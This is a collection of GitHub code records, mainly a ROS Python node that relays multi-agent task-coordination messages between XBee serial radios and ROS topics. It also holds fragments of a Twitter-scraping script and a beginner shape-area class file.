twint.run.Search(c)\n","repo_name":"SMAPWr/project-r-polska_political_analysis","sub_path":"twitter_data/fetch_hashtag_data.py","file_name":"fetch_hashtag_data.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"13506548527","text":"#!/usr/bin/env python\n\n\nimport rospy, math\nimport numpy as np\nfrom random import *\nimport sys, termios, tty, select, os\nfrom std_msgs.msg import String\n\nfrom custom_messages.msg import DMCTS_Pulse, DMCTS_Task_List, DMCTS_Work_Status, DMCTS_Loc, DMCTS_Request_Task_List, DMCTS_Request_Work, DMCTS_Coordination\n\nimport serial\n\n\nclass XBee(object):\n initialized = False\n \n def __init__(self, com_port, baud_rate, com_type, fake_agent, agent_index):\n \n self.fake_agent = fake_agent\n self.agent_index = agent_index\n self.com_type = com_type\n self.old_coord_msg = DMCTS_Coordination()\n self.last_coord_sent_time = rospy.Time.now()\n self.last_coord_send_dur = rospy.Duration(3.0)\n\n self.pub_chatter = rospy.Publisher('/xbee/chatter', String, queue_size=10) # Publish over a topic instead of out over xbee\n\n if self.fake_agent:\n self.sub_chatter = rospy.Subscriber('/xbee/chatter', String, self.xbee_chatter_callback) # Sub to topic\n else:\n \n self.ser = serial.Serial(com_port, baud_rate)#'/dev/ttyUSB0',9600) # open serial port\n try:\n self.check_xbee = rospy.Timer(rospy.Duration(1), self.xbee_callback) # check the Xbee for messages\n self.xbee_broadcast('hello') # write a string\n except:\n rospy.logwarn(\"XBee_Bridge::could not initialize Xbee\")\n rospy.sleep(rospy.Duration(3.0))\n\n if self.com_type == 'ground_station':\n ### Setup publishers, in reality this is what the ground station subscribes to\n self.pub_request_work = rospy.Publisher('/dmcts_master/request_work', DMCTS_Request_Work, queue_size=10) # Agent attempts to complete work by notifying ground station\n self.pub_loc = rospy.Publisher('/dmcts_master/loc', DMCTS_Loc, queue_size=10) # Publish my location, largely for the ground station to plot a display\n self.pub_request_task_list = rospy.Publisher('/dmcts_master/request_task_list', DMCTS_Request_Task_List, queue_size=10) # Ask the ground station for the task list\n \n ### Setup subscribers, in reality this is what the ground station publishes\n self.sub_pulse = rospy.Subscriber('/dmcts_master/pulse', DMCTS_Pulse, self.broadcast_pulse_callback) # agent recieves pulse from ground station and other agents notifiyng them of time\n self.sub_work_status = rospy.Subscriber('/dmcts_master/work_status', DMCTS_Work_Status, self.broadcast_work_status_callback) # agent is notified if they completed work succesfully\n self.sub_task_list = rospy.Subscriber('/dmcts_master/task_list', DMCTS_Task_List, self.broadcast_task_list_callback) # agent recieves task list from ground station\n \n elif self.com_type == 'agent':\n ### Setup Publishers, in reality this is what the agent subscribes to\n self.pub_pulse = rospy.Publisher('/dmcts_master/pulse', DMCTS_Pulse, queue_size=10) # Tell the agents the time\n self.pub_task_list = rospy.Publisher('/dmcts_master/task_list', DMCTS_Task_List, queue_size=10) # Ground station tells agents which tasks are active and what their reward structure is\n self.pub_coordination = rospy.Publisher('/dmcts_master/coordination', DMCTS_Coordination, queue_size=10) # how agents coordinate with eachother\n self.pub_work_status = rospy.Publisher('/dmcts_master/work_status', DMCTS_Work_Status, queue_size=10) # Ground station tells agent if work / task is completed\n \n ## Setup Subscribers, in reality, this is what the agent publishes\n self.sub_request_work = rospy.Subscriber('/dmcts_master/request_work', DMCTS_Request_Work, self.broadcast_request_work_callback) # agent attempts to work on a task\n self.sub_request_task_list = rospy.Subscriber('/dmcts_master/request_task_list', DMCTS_Request_Task_List, self.broadcast_request_for_task_list_callback) # agent requests task from ground station\n self.sub_loc = rospy.Subscriber('/dmcts_master/loc', DMCTS_Loc, self.broadcast_location_callback) # ground station is updated with agent locations\n self.sub_coordination = rospy.Subscriber('/dmcts_master/coordination', DMCTS_Coordination, self.broadcast_coordination_callback) # how agents coordinate with eachother\n \n else:\n while True:\n rospy.logerr(\"XBee Bridge:: Improper Communication Type Recieved, no communication established: \" + com_type)\n rospy.sleep(rospy.Duration(3.0))\n \n \n ### Setup Services, these I should not be able to use probably as it would require waiting for XBee to transmit the message across and get a response, keep here just as reference in case in the future I need to set up a service\n #self.a_star_client = rospy.ServiceProxy('/dmcts_' + str(self.index) + '/costmap_bridge/a_star_path', Get_A_Star_Path)\n\n def xbee_broadcast(self, msg):\n try:\n if self.fake_agent:\n self.pub_chatter.publish(msg)\n else:\n msg = msg + '\\n'\n if not self.ser.is_open:\n self.ser.open()\n if not self.ser.is_open:\n rospy.logerr(\"Xbee_Bridge:: Still unable to open Serial Port %s\", self.ser.name)\n rospy.sleep(rospy.Duration(3.0))\n return\n \n else:\n if not self.initialized and self.ser.is_open:\n self.initialized = True\n rospy.loginfo(\"XBee Bridge:: initialized serial port on %s\", self.ser.name)\n \n self.ser.write(msg);\n self.pub_chatter.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed in xbee broadcast: \" + msg)\n\n def xbee_chatter_callback(self, msg):\n try:\n #rospy.loginfo(\"chatter msg in: \" + msg.data)\n msg = str(msg.data)\n if msg[0] == '$':\n msg = msg[1:]\n tp = msg[0]\n msg = msg[1:]\n\n if self.com_type == 'ground_station':\n ### Location Message\n if tp == 'l':\n self.read_location_chatter(msg)\n ### Work Request message, this is from an agent to the ground station to request work on a node\n elif tp == 'w':\n self.read_work_request_chatter(msg)\n ### Get Task List, request list of active tasks from the coordinator\n elif tp == 'r':\n # This is right, the message is empty!!!\n self.publish_request_for_task_list()\n elif tp == 'c' or tp == 'p' or tp == 's' or tp == 't':\n a = 7\n #rospy.loginfo(\"Xbee_Bridge::ground_station got agent message: \" + tp)\n ### Message was invalid\n else:\n rospy.logwarn(\"XBee Bridge::Bad ground_station Message type: \" + tp)\n\n elif self.com_type == 'agent':\n ### Coordination Message\n if tp == 'c':\n self.read_coordination_chatter(msg)\n ### Pulse message, this is from the ground station providing the clock and number of active nodes\n elif tp == 'p':\n self.read_pulse_chatter(msg)\n ### Work Status message, from the ground station to the agent telling if work was successful or not\n elif tp == 's':\n self.read_work_status_chatter(msg)\n ### Transmitted Task List, recieve list of active tasks from the coordinator\n elif tp == 't':\n rospy.loginfo(\"got task list msg: \" + msg)\n self.read_task_list_chatter(msg)\n ### Message was for agent\n elif tp == 'l' or tp == 'w' or tp == 'r':\n a = 7\n #rospy.loginfo(\"Xbee_Bridge::Agent got ground station message: \" + tp)\n ### Message was invalid \n else:\n rospy.logwarn(\"XBee Bridge::Bad agent Message type: \" + tp)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed in xbee chatter callback msg \" + msg)\n\n def xbee_callback(self, event):\n try:\n # c = coordination message; agents send this out to claim tasks\n # l = location message; agents send this out to update their location\n # p = pulse message; coordinator sends this out to set clock and n_active_tasks\n # agents echo it and send along\n # r = request task list; agents send this out to get the updates task list\n # t = task list coordinator sends out task list as requested\n # w = work request agent tells coordinator that it is doing work\n # s = work status coordinator tells agent if they did work or not\n if not self.ser.is_open:\n self.ser.open()\n if not self.ser.is_open:\n rospy.logerr(\"Xbee_Bridge:: Still unable to open Serial Port %s\", self.ser.name)\n rospy.sleep(rospy.Duration(3.0))\n return\n\n else:\n if not self.initialized and self.ser.is_open:\n self.initialized = True\n rospy.loginfo(\"XBee Bridge:: initialized serial port on %s\", self.ser.name)\n \n # While there is data in the buffer\n while self.ser.in_waiting > 0:\n # Eat through data until header is found\n while True:\n data = self.ser.read()\n #print \"data: \", data\n if data == '$':\n #rospy.logerr(\"FOUND $$$$\")\n data = self.ser.read()\n msg = ''\n while True: ## Search for EOL - end of line '/n'\n if data == \"\\n\":\n #rospy.logerr(\"Found: eo\")\n break\n else:\n #rospy.loginfo('Data: ' + data + ' and msg: ' + msg)\n msg = msg + data\n data = self.ser.read()\n #rospy.logerr(\"XBee_Bridge:: msg: \" + msg)\n break\n #rospy.logerr(\"XBee Bridge::xbee callback: got msg: \" + msg)\n tp = msg[0]\n msg = msg[1:]\n if self.com_type == 'ground_station':\n ### Location Message\n if tp == 'l':\n self.read_location_chatter(msg)\n ### Work Request message, this is from an agent to the ground station to request work on a node\n elif tp == 'w':\n self.read_work_request_chatter(msg)\n ### Get Task List, request list of active tasks from the coordinator\n elif tp == 'r':\n # This is right, the message is empty!!!\n self.publish_request_for_task_list()\n elif tp == 'c' or tp == 'p' or tp == 's' or tp == 't':\n a=7\n #rospy.logwarn(\"Xbee_Bridge::ground_station got agent message: \" + tp)\n ### Message was invalid\n else:\n a=7\n #rospy.logwarn(\"XBee Bridge::Bad ground_station Message type: \" + tp)\n\n elif self.com_type == 'agent':\n ### Coordination Message\n if tp == 'c':\n self.read_coordination_chatter(msg)\n ### Pulse message, this is from the ground station providing the clock and number of active nodes\n elif tp == 'p':\n self.read_pulse_chatter(msg)\n ### Work Status message, from the ground station to the agent telling if work was successful or not\n elif tp == 's':\n self.read_work_status_chatter(msg)\n ### Transmitted Task List, recieve list of active tasks from the coordinator\n elif tp == 't':\n #rospy.loginfo(\"got task list msg: \" + msg)\n self.read_task_list_chatter(msg)\n ### Message was for agent\n elif tp == 'l' or tp == 'w' or tp == 'r':\n a=7\n #rospy.loginfo(\"Xbee_Bridge::Agent got ground station message: \" + tp)\n ### Message was invalid \n else:\n rospy.logwarn(\"XBee Bridge::Bad agent Message type: \" + tp)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed in xbee callback\")\n\n def publish_request_for_task_list(self):\n try:\n # This tells the coordinator node that an agent has requested the task list\n msg = DMCTS_Request_Task_List()\n self.pub_request_task_list.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish request for task list\")\n\n\n def broadcast_request_for_task_list_callback(self, msg):\n try:\n broadcast = '$r'\n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast request for task list msg \" + msg)\n\n\n def read_task_list_msg(self):\n try:\n n_nodes = int(self.ser.read(3)) # 3 digits for node index, 0-999 nodes\n comma = self.ser.read()\n nodes_indices = []\n for i in range(0,n_nodes):\n node_indices.append( int(self.ser.read(3)) )\n comma = self.ser.read()\n self.publish_task_list(node_indices)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read task list msg\")\n\n\n def read_task_list_chatter(self, msg):\n try:\n n_nodes = int(msg[0:3]) # 3 digits for node index, 0-999 nodes\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n node_indices = []\n for i in range(0,n_nodes):\n node_indices.append( int(msg[0:3]) )\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n self.publish_task_list(node_indices)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read task list chatter msg \" + msg)\n\n def publish_task_list(self, node_indices):\n try:\n msg = DMCTS_Task_List()\n msg.node_indices = node_indices\n self.pub_task_list.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish task list\")\n\n def broadcast_task_list_callback(self, msg):\n try:\n # This recieves the task list from the coordinator node and then sends it out over the xbee\n # This consists of only the nodes that are active and the reward type\n n_nodes = len(msg.node_indices)\n broadcast = '$t'\n broadcast = broadcast + self.set_string_length(str(n_nodes),3) + ','\n for i in range(0,n_nodes):\n broadcast = broadcast + self.set_string_length(str(msg.node_indices[i]),3) + ',' \n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast task list msg \" + msg)\n\n\n def read_work_status_msg(self):\n try:\n a_index = int(self.ser.read(2)) # 2 digits for agent index, allows 0-99 agents\n comma = self.ser.read()\n n_index = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n comma = self.ser.read()\n success = int(self.ser.read()) # 1 digit to indicate sucess, 1 means work was \n self.publish_work_status(a_index, n_index, success)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read work status msg\")\n\n def read_work_status_chatter(self, msg):\n try:\n a_index = int(msg[0:2]) # 2 digits for agent index, allows 0-99 agents\n msg = msg[2:]\n comma = msg[0]\n msg = msg[1:]\n n_index = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n success = int(msg[0]) # 1 digit to indicate sucess, 1 means work was\n self.publish_work_status(a_index, n_index, success)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read work status chatter msg \" + msg)\n\n def publish_work_status(self, a_index, n_index, success):\n try:\n # This takes the message from the ground station, through the Xbee, to the agent informing them if they are succesfully working on the task\n msg = DMCTS_Work_Status()\n msg.a_index = a_index\n msg.n_index = n_index\n msg.success = success\n self.pub_work_status.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish work status\")\n\n def broadcast_work_status_callback(self, msg):\n try:\n broadcast = '$s'\n broadcast = broadcast + self.set_string_length(str(msg.a_index), 2) + ',' # 2 digits for agent index, allows 0-99 agents\n broadcast = broadcast + self.set_string_length(str(msg.n_index), 3) + ',' # 3 digits for node index, allows 0-999 nodes\n broadcast = broadcast + self.set_string_length(str(msg.success), 1) # 1 digit to indicate sucess, 1 means work was succesful, 0 means it was not\n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast work status msg \" + msg)\n\n def read_work_request_msg(self):\n try:\n n_index = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n comma = self.ser.read()\n a_index = int(self.ser.read(2)) # 2 digits for agent index, 0-99 agents\n comma = self.ser.read()\n a_type = int(self.ser.read(2)) # 2 digits for agent types, 0-99 agent types\n self.publish_request_work(n_index, a_index, a_type)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read work request msg\")\n\n def read_work_request_chatter(self, msg):\n try:\n n_index = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n a_index = int(msg[0:2]) # 2 digits for agent index, 0-99 agents \n msg = msg[2:]\n comma = msg[0]\n msg = msg[1:]\n a_type = int(msg[0:2])\n self.publish_request_work(n_index, a_index, a_type)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read work request chatter msg \" + msg)\n\n\n def publish_request_work(self, n_index, a_index, a_type):\n try:\n # This tells the coordinator that an agent is trying to do some work\n msg = DMCTS_Request_Work()\n msg.a_index = a_index;\n msg.n_index = n_index\n msg.a_type = a_type;\n self.pub_request_work.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish request work\")\n\n def broadcast_request_work_callback(self, msg):\n try:\n # Agent trying to do work\n broadcast = '$w'\n broadcast = broadcast + self.set_string_length(str(msg.n_index), 3) + ',' # 3 digits for node index, allows 0-999 nodes\n broadcast = broadcast + self.set_string_length(str(msg.a_index), 2) + ',' # 2 digits for agent index, allows 0-99 agents\n broadcast = broadcast + self.set_string_length(str(msg.a_type), 2) + ',' # 2 digits for agent type, allows 0-99 agent types\n self.xbee_broadcast(broadcast) \n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast request work msg \" + msg)\n\n def read_pulse_msg(self):\n try:\n agent_index = int(self.ser.read(2)) # 2 digits for agent index, allows 0-99 agents\n comma = self.ser.read()\n c_time = float(self.ser.read(5)) / 10.0 # 5 digits for time, allows time 0.0-9999.9 seconds (166 min and 39.9 sec)\n comma = self.ser.read()\n n_active_tasks = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n self.publish_pulse(agent_index, c_time, n_active_tasks)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read pulse msg\")\n\n\n def read_pulse_chatter(self, msg):\n try:\n agent_index = int(msg[0:2]) # 2 digits for agent index, allows 0-99 agents\n msg = msg[2:]\n comma = msg[0]\n msg = msg[1:]\n c_time = float(msg[0:5]) / 10.0 # 5 digits for time, allows time 0.0-9999.9 seconds (166 min and 39.9 sec)\n msg = msg[5:]\n comma = msg[0]\n msg = msg[1:]\n status = int(msg[0:1])\n msg = msg[1:]\n comma = msg[0]\n msg = msg[1:]\n n_active_tasks = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n self.publish_pulse(agent_index, c_time, n_active_tasks, status)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read pulse chatter msg\")\n\n \n def publish_pulse(self, agent_index, c_time, n_active_tasks, status):\n try:\n # This is the pulse from all of the other agents being echoed back\n msg = DMCTS_Pulse()\n msg.my_index = agent_index\n msg.c_time = c_time\n msg.n_active_tasks = n_active_tasks\n msg.status = status\n self.pub_pulse.publish(msg) # this is from the XBee to the agent\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish pulse\")\n\n \n def broadcast_pulse_callback(self, msg):\n try:\n # This sends the pulse out to the agents over Xbee\n broadcast = '$p'\n broadcast = broadcast + self.set_string_length(str(self.agent_index),2) + ','\n broadcast = broadcast + self.set_string_length(str(int(msg.c_time * 10.0)), 5) + ','\n broadcast = broadcast + str(msg.status) + ','\n broadcast = broadcast + self.set_string_length(str(msg.n_active_tasks),3) \n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast pulse msg \")\n\n\n def read_location_msg(self):\n try:\n index = int(self.ser.read(2)) # 2 digits for agent index, allows 0-99 agents\n comma = self.ser.read()\n x = float(self.ser.read(4)) / 10.0 - 500.0 # 4 digits for xLoc, -500.0->500.0 m\n comma = self.ser.read()\n y = float(self.ser.read(4)) / 10.0 - 500.0 # 4 digits for yLoc, -500.0->500.0 m\n comma = self.ser.read()\n edge_x = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n comma = self.ser.read()\n edge_y = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n comma = self.ser.read()\n status = int(self.ser.read(1)) # 1 char for agent and world status, allows all chars as possible status nodes\n self.publish_location(index,x,y,edge_x,edge_y,status)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read location msg\")\n\n def read_location_chatter(self, msg):\n try:\n index = int(msg[0:2]) # 2 digits for agent index, allows 0-99 agents\n msg = msg[2:]\n comma = msg[0]\n msg = msg[1:]\n x = float(msg[0:4]) / 10.0 - 500.0 # 4 digits for xLoc, -500.0->500.0 m\n msg = msg[4:]\n comma = msg[0]\n msg = msg[1:]\n y = float(msg[0:4]) / 10.0 - 500.0 # 4 digits for yLoc, -500.0->500.0 m\n msg = msg[4:]\n comma = msg[0]\n msg = msg[1:]\n edge_x = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n edge_y = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n status = int(msg[0]) # 1 char for agent and world status, allows all chars as possible status nodes\n self.publish_location(index,x,y,edge_x,edge_y,status)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read location msg: \" + msg)\n\n\n def publish_location(self, index, x,y,edge_x,edge_y,status):\n try:\n # This tells the coordinator where each agent is\n msg = DMCTS_Loc()\n msg.index = index\n msg.xLoc = x\n msg.yLoc = y\n msg.edge_x = edge_x\n msg.edge_y = edge_y\n msg.status = status\n self.pub_loc.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to publish location\")\n\n \n def broadcast_location_callback(self, msg):\n try:\n # This tells the coordinator my location\n broadcast = '$l'\n broadcast = broadcast + self.set_string_length(str(msg.index), 2) + ',' # 2 digits for agent index, allows 0-99 agents\n broadcast = broadcast + self.set_string_length(str(int((msg.xLoc+500.0) * 10.0)), 4) + ',' # 4 digits for xLoc, -500.0->500.0 m\n broadcast = broadcast + self.set_string_length(str(int((msg.yLoc+500.0) * 10.0)), 4) + ',' # 4 digits for yLoc, -500.0->500.0 m\n broadcast = broadcast + self.set_string_length(str(msg.edge_x), 3) + ',' # 3 digits for node index, allows 0-999 nodes\n broadcast = broadcast + self.set_string_length(str(msg.edge_y), 3) + ',' # 3 digits for node index, allows 0-999 nodes\n broadcast = broadcast + self.set_string_length(str(msg.status), 1) + ',' # 1 char for agent and world status, allows all chars as possible status nodes \n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast location msg \")\n\n\n def read_coordination_msg(self):\n try:\n msg = DMCTS_Coordination()\n #print \"tp: \", tp\n n_nodes = int(self.ser.read(3)) # 3 digits for number of nodes in the message\n #print \"n_nodes: \", n_nodes\n comma = self.ser.read()\n #print \"comma: \", comma\n msg.agent_index = int(self.ser.read(2)) # 2 digits for number of agents\n comma = self.ser.read()\n n_indices = []\n times = []\n probs = []\n for n in range(0,n_nodes):\n #nn = self.ser.read()\n #print \"n: \", nn\n if self.ser.read() == 'n':\n n_index = int(self.ser.read(3)) # 3 digits for node index, allows 0-999 nodes\n n_indices.append(n_index)\n comma = self.ser.read()\n n_time = float(self.ser.read(5)) / 10.0 # 5 digits for time, allows time 0.0-9999.9 seconds (166 min and 39.9 sec)\n times.append(n_time)\n comma = self.ser.read()\n n_prob = float( self.ser.read(3)) / 100.0 # 3 digits for prob, allows 0.00 -> 1.00\n probs.append(n_prob)\n comma = self.ser.read()\n\n # publish all claims to quadrotor\n msg.claimed_tasks = n_indices\n msg.claimed_time = times\n msg.claimed_probability = probs\n self.pub_coordination.publish(msg)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read coordination msg\")\n\n def read_coordination_chatter(self, msg):\n try:\n n_nodes = int(msg[0:3]) # 3 digits for number of nodes in the message\n msg = msg[3:]\n comma = msg[0]\n msg = msg[1:]\n msg_out = DMCTS_Coordination()\n msg_out.agent_index = int(msg[0:2]) # 2 digits for number of agents\n msg = msg[2:]\n comma = msg[0]\n msg = msg[1:]\n n_indices = []\n times = []\n probs = []\n for n in range(0,n_nodes):\n n_index = int(msg[0:3]) # 3 digits for node index, allows 0-999 nodes\n msg = msg[3:]\n n_indices.append(n_index)\n comma = msg[0]\n msg = msg[1:]\n n_time = float(msg[0:5]) / 10.0 # 5 digits for time, allows time 0.0-9999.9 seconds (166 min and 39.9 sec)\n msg = msg[5:]\n times.append(n_time)\n comma = msg[0]\n msg = msg[1:]\n n_prob = float(msg[0:3]) / 100.0 # 3 digits for prob, allows 0.00 -> 1.00\n msg = msg[3:]\n probs.append(n_prob)\n comma = msg[0]\n msg = msg[1:]\n\n # publish all claims to quadrotor\n msg_out.claimed_tasks = n_indices\n msg_out.claimed_time = times\n msg_out.claimed_probability = probs\n self.pub_coordination.publish(msg_out)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to read coordination chatter\")\n\n\n def broadcast_coordination_callback(self, msg):\n if not self.check_if_new_coord_msg(msg):\n return\n else:\n try:\n broadcast = \"$c\"\n broadcast = broadcast + self.set_string_length(str(len(msg.claimed_tasks)),3) + \",\"\n broadcast = broadcast + self.set_string_length(str(msg.agent_index),2) + \",\"\n for i in range(0,len(msg.claimed_tasks)):\n broadcast = broadcast + self.set_string_length(str(msg.claimed_tasks[i]),3) + \",\"\n broadcast = broadcast + self.set_string_length(str(int(msg.claimed_time[i]*10.0)),5) + \",\"\n broadcast = broadcast + self.set_string_length(str(int(msg.claimed_probability[i]*100.0)),3) + \",\"\n self.xbee_broadcast(broadcast)\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to broadcast coordination msg\")\n\n def check_if_new_coord_msg(self, msg):\n if msg.agent_index != self.agent_index:\n return False\n \n if rospy.Time.now() - self.last_coord_sent_time > self.last_coord_send_dur:\n self.last_coord_sent_time = rospy.Time.now()\n self.old_coord_msg = msg\n return True\n if len(msg.claimed_tasks) != len(self.old_coord_msg.claimed_tasks):\n self.last_coord_sent_time = rospy.Time.now()\n self.old_coord_msg = msg\n return True\n \n for i in range(0,len(msg.claimed_tasks)):\n if msg.claimed_tasks[i] != self.old_coord_msg.claimed_tasks[i]:\n self.last_coord_sent_time = rospy.Time.now()\n self.old_coord_msg = msg\n return True\n if abs(msg.claimed_time[i] - self.old_coord_msg.claimed_time[i]) > 0.5:\n self.last_coord_sent_time = rospy.Time.now()\n self.old_coord_msg = msg\n return True\n if abs(msg.claimed_probability[i] - self.old_coord_msg.claimed_probability[i]) > 0.05:\n self.last_coord_sent_time = rospy.Time.now()\n self.old_coord_msg = msg\n return True\n \n return False\n \n def set_string_length(self, str_in, length):\n try:\n # This appends '0' 's to the string to make it the right length\n if str_in[0] == '-':\n str_in = str_in[1:]\n temp_0 = length - len(str_in) - 1\n for i in range(0, temp_0):\n str_in = '0' + str_in\n \n str_in = '-' + str_in\n return str_in \n else:\n temp_0 = length - len(str_in)\n for i in range(0, temp_0):\n str_in = '0' + str_in\n \n return str_in\n except:\n # For some reason the above code broke and failed to work, provide error msg without killing the node, this is normally because a non-number was tried to turn into a float; e.g. float(89,123) or float($l123)\n rospy.logwarn(\"XBee_Bridge::Failed to set string length\")\n\nif __name__ == '__main__':\n rospy.init_node('XBee_Bridge')\n \n com_port = rospy.get_param('com_port')\n baud_rate = rospy.get_param('baud_rate')\n com_type = rospy.get_param('com_type')\n fake_agent = rospy.get_param('fake_agent')\n agent_index = rospy.get_param('agent_index')\n\n rospy.logwarn(\"XBee Bridge::initializing\")\n rospy.logwarn(\" XBee Bridge::com_port: %s\", com_port)\n rospy.logwarn(\" XBee Bridge::baud rate: %i\", baud_rate)\n rospy.logwarn(\" XBee Bridge::com_type: %s\", com_type)\n rospy.logwarn(\" XBee Bridge::fake_agent: %s\", fake_agent)\n rospy.logwarn(\" XBee_Bridge::agent_index: %i\", agent_index)\n xbee = XBee(com_port, baud_rate, com_type, fake_agent, agent_index)\n rospy.logwarn(\"xbee Bridge::initialized\")\n rospy.spin()\n \n","repo_name":"smithan7/xbee_bridge","sub_path":"scripts/xbee_bridge.py","file_name":"xbee_bridge.py","file_ext":"py","file_size_in_byte":37627,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"25257431486","text":"class circle:\r\n def area(self,radius):\r\n self.radius=radius\r\n a=3.14*self.radius*self.radius\r\n print(\"Area Of Circle :\",a)\r\nclass square:\r\n def area(self,side):\r\n self.side=side\r\n a=self.side*self.side\r\n print(\"Area Of Square :\",a)\r\nclass rectangle:\r\n def area(self,len, breath):\r\n self.len=len\r\n self.breath=breath\r\n a=self.breath*self.breath\r\n print(\"Area Of Rectangle 